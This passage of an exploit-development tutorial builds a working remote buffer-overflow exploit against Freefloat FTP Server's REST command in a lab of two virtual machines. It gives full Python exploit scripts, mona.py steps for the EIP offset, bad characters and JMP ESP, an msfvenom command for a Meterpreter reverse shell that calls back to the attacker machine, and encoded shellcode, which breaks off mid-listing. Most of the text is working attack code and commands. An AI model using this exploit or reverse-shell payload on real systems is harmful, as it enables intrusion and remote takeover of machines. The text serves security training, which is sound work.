possible to make attacks that perform privilege escalation and gain unlimited
access to the computer’s resources. The famed Morris worm in 1988 used this as
one of its attack techniques.

Programming languages commonly associated with buffer overflows include C and
C++, which provide no built-in protection against accessing or overwriting
data in any part of memory and do not automatically check that data written to
an array \(the built-in buffer type\) is within the boundaries of that array.
Bounds checking can prevent buffer overflows, but requires additional code and
processing time. Modern operating systems use a variety of techniques to
combat malicious buffer overflows, notably by randomizing the layout of
memory, or deliberately leaving space between buffers and looking for actions
that write into those areas \(“canaries”\).

#### Shellcode

Wikipedia – In hacking, a shellcode is a small piece of code used as the
payload in the exploitation of a software vulnerability. It is called
“shellcode” because it typically starts a command shell from which the
attacker can control the compromised machine, but any piece of code that
performs a similar task can be called shellcode. Because the function of a
payload is not limited to merely spawning a shell, some have suggested that
the name shellcode is insufficient. However, attempts at replacing the term
have not gained wide acceptance. Shellcode is commonly written in machine
code.

#### Assembly Code

Wikipedia – An assembly \(or assembler\) language, often abbreviated asm, is
any low-level programming language in which there is a very strong
correspondence between the program’s statements and the architecture’s machine
code instructions.

Each assembly language is specific to a particular computer architecture and
operating system. In contrast, most high-level programming languages are
generally portable across multiple architectures but require interpreting or
compiling. Assembly language may also be called symbolic machine code.

#### Understanding the Basics

In depth coverage of assembly code is way out of scope for this article,
however there are a few basic concepts you should be familiar with when
tackling this exercise. Below is a quick overview of some common CPU registers
that we will be working with:

  * **EIP** – Register that contains the memory address of the next instruction to be executed by the program. EIP tells the CPU what to do next.
  * **ESP** – Register pointing to the top of the stack at any time.
  * **EBP** – Stays consistent throughout a function so that it can be used as a placeholder to keep track of local variables and parameters.
  * **EAX** – “accumulator” normally used for arithmetic operations.
  * **EBX** – Base Register.
  * **ECX** – “counter” normally used to hold a loop index.
  * **EDX** – Data Register.
  * **ESI/EDI** – Used by memory transfer instructions.

There are tons of tutorials online if you find you need more to follow along.
If you want to take a dive into assembly, I highly recommend taking the course
on Pentester Academy x86 Assembly Language and Shellcoding on Linux by Vivek
Ramachandran. It is worth every penny. For now, we just need to understand
that EIP is responsible for controlling program execution, and ESP is where we
will be storing our shellcode during exploitation.

## Discovering the Vulnerability

Lets fire up our two virtual machines and get started\! To follow along, you
will need to ensure that you have the following software installed in each VM.
To make things easier to follow you may want to configure each machine to use
the following IP addresses, however this is not required. You can simply
adjust the IPs in the exercise as you go along if you’d like.

##### Windows VM / IP Address: 172.16.183.129

  * Freefloat FTP Server
  * Immunity Debugger
  * mona.py

##### Kali Linux VM / IP Address: 172.16.183.131

  * Wireshark
  * Python 2.7
  * Metasploit Framework

#### Network Protocol Fuzzing

Lets assume that we know nothing at all about the application we are testing.
How do we go about finding a vulnerability in a program that we know nothing
about? We could try to find the source code online and review it, but what if
the source code is not available? In that case we can result to fuzz testing
the application. Lets start off by launching the Freefloat FTP Server in our
Windows virtual machine as normal.

<img src='img/Temp2_4555.png' width='418' height='168' alt='Freefloat FTP
Server' />

We can already see that this is a very basic FTP server application. It lacks
many of the configuration options that we would expect from an FTP service.
This application will accept any username/password combination when logging
in, as it is designed to be simple. We will be attacking the application
across the network, so lets start off by simply connecting to the FTP server
from our Kali Linux machine and taking a look at the network traffic. Launch
Wireshark and start listening for traffic on the ‘eth0’ interface. To
eliminate some unnecessary noise, we will apply ‘ip.addr == 172.16.183.129’ as
a filter so that we only see traffic going to the Windows machine.

<img src='img/Temp2_4556.png' width='781' height='510' alt='Connect to the FTP
server' />

We can authenticate with any credentials we like, but lets keep it simple by
simply using the username ‘test’ and the password ‘test’.

<img src='img/Temp2_4572.png' width='781' height='512' alt='Authenticate to
the FTP server' />

Now lets examine the traffic in Wireshark so that we can get an idea of how
the FTP client talks to the remote FTP server.

<img src='img/Temp2_4561.png' width='781' height='744' alt='Freefloat FTP -
Wireshark traffic' />

We will right click on the first line and select “Follow TCP Stream” in order
to view the communication between the client and server. The text in blue was
sent from the server to the client. The text in red was sent from the client
to the server.

<img src='img/Temp2_4554.png' width='781' height='744' alt='Freefloat FTP -
Wireshark follow TCP stream' />

As we can see, when we connected to the FTP server several commands were sent
by our client to establish the connection. Based on the responses we got from
the server, it did not appear to understand all of the commands that we sent.
The commands it did not understand appear to have been handled gracefully, as
we were still able to establish a connection. The following commands appear to
be supported based on the information we have so far:

  * USER
  * PASS
  * TYPE
  * PWD
  * CWD
  * PASV
  * PORT
  * LIST

At this point we could begin writing a script to fuzz each of these commands
to see if we can find a vulnerability, however this is NOT a full list of all
the commands supported by the FTP protocol. We could technically continue
interacting with the FTP server to get an idea of what other commands are
available, but this could take a long time. Instead we will save time by
looking at the official RFC \(Request for Comments\) published for the FTP
protocol.

Reading the RFCs are very handy when testing network protocols, as they
essentially act as a user manual for us to understand what each command does.
This will not only help us better understand how the FTP protocol works, but
it will save us time manually looking for commands to fuzz test. You can find
the official RFC for FTP at the following link:

FILE TRANSFER PROTOCOL \(FTP\) RFC – https://tools.ietf.org/html/rfc959

If we were doing a thorough security assessment of the Freefloat FTP Server
application, we would want to fuzz every single command listed in the RFC. To
save us some time here, we are going to focus on the REST command.

From page 31 in the FTP RFC:

> “
> **RESTART \(REST\)** : The argument field represents the server marker at
> which file transfer is to be restarted. This command does not cause file
> transfer but skips over the file to the specified data checkpoint. This
> command shall be immediately followed by the appropriate FTP service command
> which shall cause file transfer to resume.
Lets write a simple python script to connect to the FTP server and fuzz test
the REST command. We’ll name this script ‘fuzz.py’:

[code]

    import sys
    from socket import *
    
    ip = "172.16.183.129"
    port = 21
    
    buf = "\x41" * 1000
    
    print "[+] Connecting..."
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((ip,port))
    s.recv(2000)
    s.send("USER test\r\n")
    s.recv(2000)
    s.send("PASS test\r\n")
    s.recv(2000)
    s.send("REST "+buf+"\r\n")
    s.close()
    
    print "[+] Done."
    
[/code]

If we break down the above script, we see that it will establish a connection
to the FTP server, and then issue the USER command with the value ‘test\r\n’.
The ‘\r\n’ piece is what submits the input to the server. Next it will issue
the PASS command. Once it has authenticated to the server, it will issue the
REST command and specify 1000 A’s as our input. This is likely not what the
application expects to receive, so lets see if it gracefully handles our input
or crashes.

<img src='img/Temp2_4568.png' width='781' height='487' alt='Freefloat FTP
Server crashed' />

As we can see in our Windows VM, the application has crashed indicating that
the program did not gracefully handle the input we supplied to the REST
command. This means that we may be looking at a buffer overflow vulnerability
in that command. It is important to note that not all application errors and
crashes necessarily indicate a vulnerability. In order to determine if this
particular bug can be exploited, we will want to explore the crash a little
closer in Immunity Debugger.

#### Determining if the bug is exploitable

Lets launch Immunity Debugger and reopen the Freefloat FTP Server application.
This will give us the ability to watch the flow of execution and determine if
the bug we discovered is actually an exploitable vulnerability.

<img src='img/Temp2_4567.png' width='781' height='599' alt='Freefloat FTP
Server running in Immunity Debugger' />

At first glance this is a LOT of information to take it. Don’t worry, it will
start to make more sense as we go through the exercise. Take note of the box
on the upper right hand side. These are the CPU registers we were talking
about at the beginning of this article. We will be focusing most of our
attention here.

The first thing we need to do is take a look at the EIP register. As discussed
earlier, EIP contains the memory address for the next CPU instruction. What
this means is that if we can overwrite the EIP value by overflowing the buffer
allocated to the REST command, we have the ability to control what the program
does next. At the moment, we see that EIP contains the value 004040C0. Lets
see what happens when we fire our python fuzz script at it again.

<img src='img/Temp2_4564.png' width='781' height='600' alt='EIP has been
overwitten' />

As we can see, EIP has now changed to 41414141. The number 41 is actually the
hex value of the letter ‘A’ \(reference\). Essentially the EIP register now
contains ‘AAAA’. Since EIP now points to an invalid memory address, the
application crashes. We now know the cause of the crash we discovered earlier
and to our delight, we have discovered that we can actually hijack the flow of
execution by overwriting the value stored in the EIP register. This indicates
that we have an exploitable buffer overflow vulnerability\!

## Buffer Overflow Exploitation

Alright now we’re going to get our hands dirty. Lets quickly recap what we
have done so far:

  * Discovered a bug in the REST command which causes the Freefloat FTP Server to crash.
  * Developed a short script called ‘fuzz.py’ which crashes the application by supplying 1000 ‘A’s to the REST command.
  * Determined that the bug we found is in fact an exploitable buffer overflow vulnerability.

Now it is time to begin developing a functional exploit. The goal of this
exploit will be to obtain an interactive shell on the Windows VM \(our
victim\) from our Kali Linux VM \(our attacking machine\). This will allow us
to compromise the remote host and take control of it.

#### Installing mona.py

One of the awesome features of Immunity Debugger is its ability to be extended
with Python plugins. Before we go any further, we will want to install a
plugin in called mona.py. This will help us out greatly with the tasks ahead.

Simply drop the plugin into the PyCommands folder found inside the Immunity
Debugger application folder. You can check if mona.py is working by typing
‘\!mona’ in the command bar of Immunity Debugger. If everything works, the log
window will show the help screen of mona.py.

Next, we will configure mona.py to store data in a folder other than the
default. The default location is the Immunity Debugger application folder.
Instead we will create a folder at the path ‘C:\logs’ and have mona.py store
its data there. Execute the following command in the Immunity Debugger command
bar:

[code]

    !mona config -set workingfolder c:\logs\%p
    
[/code]

The command above tells mona.py to create a folder inside the folder
‘C:\logs’, with the name of the process being debugged. In this case it will
create a subfolder called ‘FTPServer’

<img src='img/Temp2_4574.png' width='781' height='598' alt='Mona.py - set
working folder' />

Now we are ready to begin crafting our exploit code.

#### Building the exploit

The process for developing our buffer overflow exploit can be summarized into
six key tasks.

  * Finding the offset on the buffer to the exact four bytes that overwrite EIP on the stack.
  * Finding enough space in the memory to store our shellcode.
  * Finding the value we must put in EIP to make the execution flow jump to our shellcode in memory.
  * Finding any bad characters that may affect our exploit.
  * Putting it all together.
  * Generating our final payload.

We will break down each of these tasks and walk through them step by step.

#### Identifying the offset to EIP

First we will need to find the offset in our buffer to the bytes that
overwrite the EIP register value. This part of the exploit is critical, as it
will allow us to hijack the flow of execution. We can do this by using the
‘pattern create’ feature in mona.py. This creates a unique cyclic pattern
\(example: Aa0Aa1Aa2Aa3Aa4\) where every three-character substring is unique.
By replacing the 1000 ‘A’s in our ‘fuzz.py’ script with this pattern, we can
calculate the offset by determining which four bytes of the pattern are in EIP
when the program crashes.

To create a cyclic pattern 1000 bytes in length with mona.py, execute the
following command in the Immunity Debugger command bar.

[code]

    !mona pc 1000
    
[/code]

You should see the output below:

<img src='img/Temp2_4569.png' width='781' height='600' alt='Mona.py - pattern
create' />

The command created the file ‘C:\logs\FTPServer\pattern.txt’ with the cyclic
pattern inside. We can now copy pattern into our existing ‘fuzz.py’ script. We
will go ahead and rename this file to ‘exploit.py’ since we are passed the
fuzzing stage at this point. Here is what the updated code looks like:

[code]

    import sys
    from socket import *
    
    ip = "172.16.183.129"
    port = 21
    
    buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    
    print "[+] Connecting..."
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((ip,port))
    s.recv(2000)
    s.send("USER test\r\n")
    s.recv(2000)
    s.send("PASS test\r\n")
    s.recv(2000)
    s.send("REST "+buf+"\r\n")
    s.close()
    
    print "[+] Done."
    
    
[/code]

The next step is to reopen Freefloat FTP Server in Immunity Debugger and
execute our script ‘exploit.py’. As expected, we can see that the process has
crashed and Immunity Debugger shows an access violation. We need to examine
EIP and take note of its value at the crash moment.

<img src='img/Temp2_4565.png' width='781' height='599' alt='Immunity Debugger
- EIP overwrite pattern' />

As we can see the EIP register has been overwritten, this time with a unique 4
byte pattern. Its value at the time of the crash was ‘41326941’, which
translates to the characters ‘A2iA’ \(reference\). If we look close enough at
our ‘pattern.txt’ file, we would find this value somewhere inside the pattern
we generated earlier. We need to determine the offset by examining the unique
pattern and counting how many bytes lead up to ‘A2iA’. This will be our EIP
offset. To make our life easier, mona.py offers the findmsp command which will
give us the EIP offset, as well as some other very useful information. Execute
the following command on the Immunity Debugger command bar:

[code]

    !mona findmsp
    
[/code]

You should see the output below:

<img src='img/Temp2_4571.png' width='781' height='600' alt='Mona.py - findmsp
command' />

This command created a file at ‘C:\logs\FTPServer\findmsp.txt’ which contains
some extremely useful information that we will use to develop our exploit:

<img src='img/Temp2_4558.png' width='781' height='569' alt='Mona.py - findmsp
output' />

We can see that our EIP offset is 246 bytes. The next 4 bytes after this will
overwrite the EIP register.

#### Identifying where to put our shellcode

So we now have control over Freefloat FTP Servers flow of execution, but we
still need to find a place to store our shellcode. Our shellcode is the actual
payload of the exploit, it is what will give us an interactive shell on the
remote system. From the output of the ‘\!mona findmsp’ command above, we can
see that the offset to ESP is 258 bytes. The output also tells us that we have
742 bytes available in ESP to store data. We also notice that the ESP offset
is relatively close to the EIP offset in our buffer. Lets do some simple math.
If we subtract 246 bytes \(EIP offset\) from 258 bytes \(ESP offset\) we get
12 bytes. We will be writing 4 bytes into the EIP register so we will subtract
4 from 12 and get 8 bytes. We have just determined that the ESP offset is only
8 bytes behind our EIP overwrite.

Why is this important? Because when we craft our exploit we can overwrite EIP
with the address of a JMP ESP instruction, pad our buffer with just 8 more
bytes, and then write our shellcode to ESP. If these two offsets were far
apart from each other, or if we didn’t have sufficient space in ESP, this
exploit could become a lot more complicated. For example, we may potentially
run out of buffer room for our shellcode, or need to find another area in
memory to place our shellcode. In this case, ESP looks like it would provide a
very convenient place for us to store our shellcode.

We will eventually try placing our shellcode in the ESP register at offset
258, but we’re not quite ready to do that yet. When we overwrite EIP, our
objective will be to change the flow of execution to our shellcode stored in
ESP. In order to do that, we will need to get the memory address of a CPU
instruction that makes a jump to ESP. We will do this by locating a JMP ESP
instruction, and overwriting EIP with the memory address of that instruction.

#### Locating a JMP ESP instruction

So we’ve successfully hijacked the application by overwriting EIP, and we
think we’ve found a sufficient place in memory to store our shellcode. Next we
need to find an existing CPU instruction in the program which will tell the
CPU to execute our shellcode stored in ESP. To accomplish this we will locate
a JMP ESP instruction in memory using Immunity Debugger and mona.py. In the
Immunity Debugger command bar, execute the following command after restarting
the Freefloat FTP Server application:

[code]

    !mona jmp -r ESP
    
[/code]

You should see the output below:

<img src='img/Temp2_4573.png' width='781' height='598' alt='Mona.py - JMP ESP
output' />

The above command tells mona.py to search for a JMP ESP instruction inside the
process binary and the DLLs loaded in memory at execution time. The result is
stored in the file ‘C:\logs\FTPServer\jmp.txt’. Below is a partial screenshot
of the output from that file:

<img src='img/Temp2_4562.png' width='781' height='323' alt='JMP ESP
instructions' />

We will need to choose a JMP ESP instruction which does not have ASLR enabled,
as we need the memory address to persist between restarts of the application.
Thankfully in this case, the binary was not compiled with ASLR support.
Therefore any of the JMP ESP instructions in this list should work fine for
our exploit…almost…\(more on that in the next section\). We will overwrite EIP
with the address of one of these instructions, and that should make the CPU
jump to our shellcode.

By this point we know just about everything we need to know about Freefloat
FTP Server to complete our exploit. We are ready to start building our final
payload which will give us a shell on the remote host. Unfortunately there is
one more potential pitfall standing in our way. Bad characters\!

#### Identifying bad characters

So we almost have everything we need to build our exploit. We know how to
hijack the flow of execution, we know where to put our payload, and we know
how to trick the CPU into executing our payload. Now we are finally ready to
start building the payload\!

There is just one problem, the shellcode we want to use will likely contain
one or more characters that the application interprets differently than we
want it to. It’s also possible that the memory address for one of our JMP ESP
instructions above may contain one of these characters.

These are referred to as bad characters, which are essentially any unwanted
characters that can break our shellcode. Unfortunately there is no universal
set of bad characters. Depending on the application and the developer logic,
there will be a different set of bad characters for every program that we
encounter. Therefore, we will have to identify the bad characters in this
specific application before generating our shellcode. An example of some
common bad characters are:

  * 00 \(NULL\)
  * 0A \(Line Feed \n\)
  * 0D \(Carriage Return \r\)
  * FF \(Form Feed \f\)

This part of the process can be a bit tedious and repetitive. We essentially
need to overwrite EIP with garbage to crash the application, and then overflow
the rest of the buffer with another pattern containing all the possible
shellcode characters. Then we examine the stack at the time of crash, and find
the first character which breaks the pattern. Once we have identified that
character, we remove it from the pattern and repeat the process to find the
next bad character. We do this over and over again until we have identified
them all. Then we will attempt to generate functional shellcode that is
encoded in such a way to exclude these bad characters.

This process is made a little easier by using two awesome commands in mona.py,
however it is still quite repetitive. Lets break down the task at hand before
we examine the commands:

  * We will create a byte array with all possible characters in hex form \(0x00 to 0xff\) and put them into our exploit.
  * Launch Immunity Debugger and run Freefloat FTP Server.
  * Execute the exploit.
  * After the crash, we’ll examine the byte array in memory. If a byte has changed, it is a bad character.
  * Remove the bad character from the array.
  * Repeat the process until the byte array in memory is equal to the byte array being sent in the buffer.

To create the byte array execute the following command in Immunity Debugger:

[code]

    !mona bytearray
    
[/code]

You should see the output below:

<img src='img/Temp2_4566.png' width='781' height='599' alt='Mona.py -
bytearray' />

The above command will generate two files. The first is
‘C:\logs\FTPServer\bytearray.txt’, which contains the array in text format to
use in our exploit. The second is ‘C:\logs\FTPServer\bytearray.bin’, which
will contain the exact representation of this byte array in memory.

Lets modify our exploit to include the byte array:

[code]

    import sys
    from socket import *
    
    ip = "172.16.183.129"
    port = 21
    
    bytearray = (
    "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
    "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
    "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
    "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
    "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
    "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
    "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
    "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
    )
    
    bufsize = 1000
    buf = 'A'*246 # EIP offset from findmsp
    buf += 'BBBB' # EIP overwrite
    buf += 'C'*8 # Add 8 additional bytes of padding to align the bytearray with ESP
    buf += bytearray
    buf += 'D'*(bufsize - len(buf))
    
    print "[+] Connecting..."
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((ip,port))
    s.recv(2000)
    s.send("USER test\r\n")
    s.recv(2000)
    s.send("PASS test\r\n")
    s.recv(2000)
    s.send("REST "+buf+"\r\n")
    s.close()
    
    print "[+] Done."
    
[/code]

Note that we put the byte array exactly 8 bytes behind our EIP overwrite \(the
four ‘B’s\) by adding 8 ‘C’s. This is so the ESP register will be pointing
directly to the byte array after the application crashes. We also fill the
remaining bytes of our buffer with ’D’s to ensure that the buffer length is
consistent with our testing earlier \(1000 bytes total\).

Now lets relaunch Immunity Debugger, run Freefloat FTP Server, and fire our
revised exploit.

Once the application has crashed, enter the following command in Immunity
Debugger:

[code]

    !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C (the address contained on ESP)
    
[/code]

The above command tells mona.py to compare the memory from the address
‘0x00B3FC2C’ with the content of the bytearray.bin file. This address will
likely be different if you are testing on a different operating system such as
Windows Vista or Windows 7.

<img src='img/Temp2_4551.png' width='781' height='79' alt='Mona.py - bad
characters' />

As we can see from the ‘Status’ and ‘BadChars’ columns, there is corruption in
the first byte due to the character ‘00’ \(this is a NULL byte, a common bad
character\). Lets recreate the byte array excluding this character \(0x00\)
and run the ‘\!mona compare’ command again by executing the following command:

[code]

    !mona bytearray -cpb \x00 
    
[/code]

Now we will update our exploit and remove the ‘\x00’ character from the
beginning of byte array. We then repeat the process, restarting Immunity
Debugger and Freefloat FTP Server and executing the ‘\!mona compare’ command
once more:

[code]

    !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C
    
[/code]

<img src='img/Temp2_4570.png' width='781' height='77' alt='Mona.py - more bad
characters' />

Notice the difference? This time mona.py has detected corruption at 9 bytes
due to the ‘0a’ character. Now we will exclude 0x0a from the byte array:

[code]

    !mona bytearray -cpb \x00\x0a
    
[/code]

Next we will update our exploit and remove the ‘\x0a’ character from the byte
array. We then repeat the process, restarting Immunity Debugger and Freefloat
FTP Server and executing the ‘\!mona compare’ command once more:

[code]

    !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C
    
[/code]

<img src='img/Temp2_4553.png' width='781' height='71' alt='Mona.py - even more
bad characters' />

Once again we’ve identified another bad character. This time it is the ‘0d’
character, so we’ll need to exclude 0x0d from the byte array:

[code]

    !mona bytearray -cpb \x00\x0a\x0d
    
[/code]

Now we will update our exploit once again and remove the ‘\x0d’ character from
the byte array. We then repeat the process, restarting Immunity Debugger and
Freefloat FTP Server and executing the ‘\!mona compare’ command once again:

[code]

    !mona compare -f c:\logs\FTPServer\bytearray.bin -a 0x00B3FC2C
    
[/code]

<img src='img/Temp2_4563.png' width='781' height='67' alt='Mona.py - no bad
characters' />

This time the comparison results window indicates the array is ‘Unmodified’.
This means that our byte array in memory is equal to the byte array we
transmitted in our exploit, thus indicating we have identified all of the bad
characters\! We now have everything we need to weaponize our exploit. We just
need to ensure that our shellcode, JMP ESP instruction, and any other data we
transmit in the exploit does not contain the characters 0x00, 0x0a, or 0x0d.

#### Putting it all together

Now that we finally have all the information we need to build a working
exploit, lets start putting it all together. We’ll first update our exploit by
replacing the byte array with some more useful shellcode. We’re also going to
choose a JMP ESP instruction from our list earlier to overwrite EIP. We will
take caution as to not use a JMP instruction that contains a bad character
\(0x00, 0x0a, or 0x0d\):

[code]

    import sys
    from socket import *
    
    ip = "172.16.183.129"
    port = 21
    
    # BadChars = \x00\x0a\x0d
    shellcode = ("\xcc\xcc\xcc\xcc") # Breakpoint
    
    bufsize = 1000
    eip = "\xd7\x30\x9d\x7c" # 0x7c9d30d7 - jmp esp [SHELL32.dll] (Little Endian)
    buf = 'A'*246 # EIP offset from findmsp
    buf += eip # EIP overwrite
    buf += 'C'*8 # Add 8 additional bytes of padding to align the bytearray with ESP
    buf += shellcode
    buf += 'D'*(bufsize - len(buf))
    
    print "[+] Connecting..."
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((ip,port))
    s.recv(2000)
    s.send("USER test\r\n")
    s.recv(2000)
    s.send("PASS test\r\n")
    s.recv(2000)
    s.send("REST "+buf+"\r\n")
    s.close()
    
    print "[+] Done."
    
    
[/code]

In this iteration of our exploit we are use the byte ‘0xcc’ as our shellcode.
This is the opcode for the breakpoint instruction. We do this so that once the
exploit is launched our process will stop when we get to ESP. This will give
us a chance to examine the stack and ensure that everything is working as we
expect so far.

We are choosing the JMP ESP instruction located at the memory address
0x7c9d30d7 to overwrite EIP. You may be wondering why it is entered in
backwards in our exploit. The reason for this is because x86 architecture
stores values in memory using Little Endian. This means the memory address has
to be reversed byte by byte, in this case 0x7c9d30d7 will be converted to
\xd7\x30\x9d\x7c.

Now lets fire up Immunity Debugger, launch Freefloat FTP Server, and execute
our exploit again:

<img src='img/Temp2_4552.png' width='781' height='600' alt='Immunity Debugger
- breakpoints' />

You should notice the application did not crash this time\! It actually hit
one of our breakpoints and paused the debugger for us. In the above screenshot
we can see execution has stopped at the four breakpoint opcodes on the stack
just as we expected. This means we are successfully controlling the flow of
execution, we just need to replace our current shellcode with the payload we
will generate next\!

#### Generating our final payload

We’ve come so far, we just need to use what we’ve built to get a shell on our
target host. To do this we will utilize the Metasploit Framework to generate a
Meterpreter reverse shell payload. This will act as our final shellcode. We
will then catch this reverse shell on our Kali Linux machine, and through this
we will have compromised the remote host with our exploit\!

Metasploit contains a handy utility called ‘msfvenom’ which we will use to
generate our shellcode. We must make sure to tell msfvenom to exclude the bad
characters we identified earlier, or our exploit will not work. When we
generate shellcode encoded to avoid bad characters, the payload must contain a
routine to decode the payload in memory. Msfvenom will handle this for us,
however it does come with a catch. The decoding routine will shift the stack
around on us, so we will need to move ESP to a location above our shellcode in
memory.

First, lets go ahead and generate our shellcode payload in Kali Linux by using
the following command:

[code]

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.183.131 LPORT=443 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -f c
    
[/code]

You should see the output below:

<img src='img/Temp2_4557.png' width='781' height='572' alt='Msfvenom' />

Next we need to ensure that ESP is not pointing to the shellcode when the
decoder routine is executed. We will do this by adding an instruction which
will decrement ESP. To obtain the opcodes that represent the instruction, we
will use another tool from the Metasploit Framework, ‘metasm\_shell.rb’.
Execute the following commands on Kali Linux:

[code]

    cd /usr/share/metasploit-framework/tools/exploit/
    ./metasm_shell.rb
    
[/code]

The ‘metasm\_shell.rb’ script will give us an interactive prompt where we can
enter CPU instructions and get the appropriate opcodes. Since we want to
decrement ESP, we will try the following command:

[code]

    metasm > sub esp,240h
    "\x81\xec\x40\x02\x00\x00"
    
[/code]

Uh oh, we’ve hit a snag. Notice that the opcode we got contains one of our bad
characters \(\x00\). This would break our exploit. Lets see if we can find
another instruction that will achieve the same result, but hopefully not
result in opcode with bad characters. Instead of subtracting from ESP, lets
try to add a negative number to it and see what happens:

[code]

    metasm > add esp,-240h
    "\x81\xc4\xc0\xfd\xff\xff"
    
[/code]

Excellent, no bad characters this time\! We can now exit metasm and finish
building our exploit using:

[code]

    metasm > quit
    
[/code]

## The Final Exploit

We are finally ready to build a weaponized exploit. Lets update the exploit to
include the shellcode we’ve generated with ‘msfvenom’, and add the opcodes we
got from ‘metasm\_shell.rb’ to decrement ESP. This will complete the final
exploit:

[code]

    import sys
    from socket import *
    
    ip = "172.16.183.129"
    port = 21
    
    # Windows reverse shell
    shellcode = (
    "\xb8\x18\xae\xa3\x93\xd9\xeb\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
    "\x56\x31\x47\x13\x83\xef\xfc\x03\x47\x17\x4c\x56\x6f\xcf\x12"
    "\x99\x90\x0f\x73\x13\x75\x3e\xb3\x47\xfd\x10\x03\x03\x53\x9c"
    "\xe8\x41\x40\x17\x9c\x4d\x67\x90\x2b\xa8\x46\x21\x07\x88\xc9"
    "\xa1\x5a\xdd\x29\x98\x94\x10\x2b\xdd\xc9\xd9\x79\xb6\x86\x4c"
    "\x6e\xb3\xd3\x4c\x05\x8f\xf2\xd4\xfa\x47\xf4\xf5\xac\xdc\xaf"
    "\xd5\x4f\x31\xc4\x5f\x48\x56\xe1\x16\xe3\xac\x9d\xa8\x25\xfd"
    "\x5e\x06\x08\x32\xad\x56\x4c\xf4\x4e\x2d\xa4\x07\xf2\x36\x73"
    "\x7a\x28\xb2\x60\xdc\xbb\x64\x4d\xdd\x68\xf2\x06\xd1\xc5\x70"
    "\x40\xf5\xd8\x55\xfa\x01\x50\x58\x2d\x80\x22\x7f\xe9\xc9\xf1"
    "\x1e\xa8\xb7\x54\x1e\xaa\x18\x08\xba\xa0\xb4\x5d\xb7\xea\xd0"
